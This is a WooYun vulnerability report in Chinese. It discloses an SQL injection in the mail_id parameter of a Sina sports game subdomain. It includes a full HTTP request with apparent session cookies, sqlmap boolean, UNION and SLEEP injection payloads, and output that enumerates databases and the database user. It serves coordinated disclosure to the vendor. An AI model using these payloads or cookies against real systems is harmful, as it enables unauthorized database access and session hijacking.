当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150500

漏洞标题:新浪某分站一处Mysql注射

相关厂商:新浪

漏洞作者: 撸大叔

提交时间:2015-10-30 09:36

修复时间:2015-12-14 09:56

公开时间:2015-12-14 09:56

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-10-30: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

新浪某分站一处Mysql注射

详细说明:

POST /person/address.php HTTP/1.1
Host: game.sports.sina.com.cn
Proxy-Connection: keep-alive
Content-Length: 32
Accept: application/json, text/javascript, */*
Origin: http://game.sports.sina.com.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://game.sports.sina.com.cn/person/user_address.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: cookie=chaoti_18389877905632411e33c20; SINAGLOBAL=211.162.34.249_1445961562.523769; U_TRS1=000000fb.bc7f4f7e.5631e6bc.64fa92c5; UOR=www.baidu.com,match.sports.sina.com.cn,; vjuids=-e5758215.150b2ecfa64.0.17dd3eda; __utma=269849203.1047279998.1446111192.1446111192.1446111192.1; __utmz=269849203.1446111192.1.1.utmcsr=hi.house.sina.com.cn|utmccn=(referral)|utmcmd=referral|utmcct=/house/kuodayuhong/new_zhanshi.php; lxlrtst=1446115008_o; SGUID=1446121574300_65957238; rotatecount=2; ArtiFSize=14; hqEtagMode=1; SUS=SID-5480092640-1446133031-GZ-argjo-a287af6ec2df0dbf8cc33439c0565362; SUB=_2A257Nk13DeTxGeNK41IR-SzKzzyIHXVYQjm_rDV_PUNbvtBeLWvbkW8HSgSzlJSAVZfobQbgWl0p4JDUjw..; ALF=1477669031; U_TRS2=000000fb.f2f2a6a.56323f8b.f43b54ff; Apache=211.162.34.251_1446133720.847962; ULV=1446133715091:10:10:10:211.162.34.251_1446133720.847962:1446133680490; SUE=es%3D1000a8d9178b7bc18e8faccf762daede%26ev%3Dv1%26es2%3D0816158e908d1e4ddef820ba909919f6%26rs0%3DinS4BWW1Co0OKyBBpW6ZDSIO3BcsqS8egf%252FSuR01RP4CbuMOCSQZT0H1wMttPmYZTVQCoGysYPkKdU1V8S3vQb97UQX2zmEONrie%252FUrHLItiJWgwNLaDx1hmCtiP8oNfMrQPAkgwKMVKmRJ%252B%252F3v895l9wdwbwfWPlOrJQvZRoIU%253D%26rv%3D0; SUP=cv%3D1%26bt%3D1446133031%26et%3D1446220333%26d%3D40c3%26i%3D5362%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D7%26uid%3D5480092640%26user%3D%26ag%3D12%26name%3D%26nick%3DMRMRL_48205%26sex%3D%26ps%3D0%26email%3D%26dob%3D%26ln%3D%26os%3D%26fmp%3D%26lcp%3D; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9WhWYPOlLrqch4epbo3L7L14; lxlrttp=1446115008; vjlast=1446133681.1446133738.10; dpha=usrmdinst_20; dpvar=usrmdinst_1; PHPSESSID=p3iiit86n9mpp2nv3772nve5s0; ULOGIN_IMG=gz-67657fdbba2119a2e4a20a758758982d9ce2; SSCSum=1; _sportusr_=%7B%22uid%22%3A%225480092640%22%2C%22username%22%3A%22MRMRL_48205%22%2C%22ssouname%22%3A%22%22%2C%22have_tblog%22%3A%221%22%2C%22style_flag%22%3A%220%22%7D
opration=query_mail&mail_id=3164


mail_id 存在注入

Place: POST
Parameter: mail_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: opration=query_mail&mail_id=3164 AND 4930=4930
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: opration=query_mail&mail_id=3164 LIMIT 1,1 UNION ALL SELECT NULL, C
ONCAT(0x3a7a65633a,0x666f7949794b676d586c,0x3a676d743a), NULL, NULL, NULL, NULL,
NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: opration=query_mail&mail_id=3164 AND SLEEP(5)
---
[00:19:43] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[00:19:43] [INFO] fetching database names
[00:19:43] [INFO] the SQL query used returns 3 entries
[00:19:44] [INFO] retrieved: "information_schema"
[00:19:44] [INFO] retrieved: "ssgames"
[00:19:44] [INFO] retrieved: "test"
available databases [3]:
[*] information_schema
[*] ssgames
[*] test
[00:19:44] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[00:19:44] [INFO] fetched data logged to text files under 'E:\sql??\SqlMap?Pytho
n??\Bin\output\game.sports.sina.com.cn'


漏洞证明:

available databases [3]:
[*] information_schema
[*] ssgames
[*] test


[00:27:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[00:27:47] [INFO] fetching current user
current user: 'ssgames_r@10.73.%'

修复方案:

过滤

版权声明:转载请注明来源 撸大叔@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-30 09:55

厂商回复:

感谢提醒,不知为什么代码回退了,已经联系业务方检查

最新状态:

暂无


漏洞评价:

评论